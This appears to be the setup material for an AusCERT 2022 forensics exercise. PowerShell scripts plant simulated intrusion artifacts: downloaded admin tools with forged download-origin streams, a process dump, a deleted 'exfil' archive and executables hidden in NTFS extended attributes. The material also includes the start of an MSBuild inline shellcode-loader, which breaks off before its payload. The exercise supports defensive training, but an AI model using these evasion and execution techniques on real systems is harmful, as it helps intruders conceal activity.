Auscert 2022 Exercise setup

00_ntfs.ps1

 ### NTFS exercise setup

## 1. download some files to test various content and add ADS to simulate manual download from a browser

$downloads = ( 
    "https://live.sysinternals.com/PsExec64.exe",
    "https://live.sysinternals.com/procdump64.exe",
    "https://live.sysinternals.com/sdelete64.exe",
    "https://github.com/limbenjamin/nTimetools/raw/master/nTimestomp_v1.2_x64.exe"
)

foreach ( $url in $downloads){
    "Downloading " + $Url
    $file = Split-Path $Url -Leaf
    $dest = "C:\PerfLogs\" +$file
    $ads =  "[ZoneTransfer]`r`nZoneId=3`r`nReferrerUrl=https://18.220.58.123/yolo/`r`nHostUrl=https://18.220.58.123/yolo/" + $file + "`r`n"

    Remove-Item -Path $dest -force -ErrorAction SilentlyContinue
    Invoke-WebRequest -Uri $Url -OutFile $dest -UseBasicParsing
    Set-Content -Path $dest":Zone.Identifier" $ads
}


## 2.Create a PS1 file in staging folder (any text will do but this is powershell extension)
echo "Write-Host ‘this is totally a resident file’" > C:\Perflogs\test.ps1

## 3.Modify shortname on a file
fsutil file setshortname C:\PerfLogs\psexec64.exe fake.exe

## 4. Create a process dumpOpen calculator (calc.exe)
calc.exe ; start-sleep 2
C:\PerfLogs\procdump64.exe -accepteula -ma win32calc C:\PerfLogs\calc.dmp
get-process | where-object { $_.Name -like "*win32calc*" } | Stop-Process

## 5. Create a zip file in staging folder
Compress-Archive -Path C:\PerfLogs\* -DestinationPath C:\PerfLogs\exfil.zip -CompressionLevel Fastest

## 6. Delete dmp,zip and ps1 files - deleted file discovery is important for later!
Remove-Item -Path C:\PerfLogs\*.zip, C:\PerfLogs\*.dmp, C:\PerfLogs\*.ps1 

extended_attributes.ps1

 ### Extended Attribute 

# 1. Download https://github.com/jschicht/EaTools to C:\PerfLogs (this step was run previously if you ran our setup script)
https://github.com/jschicht/EaTools/raw/master/EaInject64.exe
https://github.com/jschicht/EaTools/raw/master/EaQuery64.exe

# 2. Add EA to file
copy C:\Windows\System32\calc.exe C:\PerfLogs\calc.exe
C:\PerfLogs\EaInject64.exe /Payload:C:\PerfLogs\calc.exe /Container:C:\PerfLogs\just_a_file.txt /Mode:0 /Identifier:NOTHINGTOSEEHERE

# Add large file over multiple EAs
C:\PerfLogs\EaInject64.exe /Payload:C:\PerfLogs\psexec64.exe /Container:C:\PerfLogs\just_a_folder /Mode:2 /Identifier:"Split EAs" 

kUgJI.TMP

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Debug">
   <ClassExample />
  </Target>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
			using System;
			using System.Reflection;
			using System.Diagnostics;
			using System.Runtime.InteropServices;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
			using System.Text;
				
			public class ClassExample :  Task, ITask
			{
				[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
			    public delegate Int32 runD();

			    [DllImport("kernel32.dll")]
			    private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
			        uint flNewProtect, out uint lpflOldProtect);

			    [DllImport("kernel32.dll")]
			    static extern IntPtr GetConsoleWindow();

			    [DllImport("user32.dll")]
			    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

			    const int SW_HIDE = 0;
			    const int SW_SHOW = 5;


				public override bool Execute()
				{
					Start();
					return true;
				}

				 private void Start()
				    { 

msbuild.ps1

msbuild.yara

msbuild_postprocess.01.vql

msbuild_postprocess.02.vql

msbuild_postprocess.03.vql

msbuild_postprocess.04.vql

msbuild_postprocess.05.vql

timestomp.ps1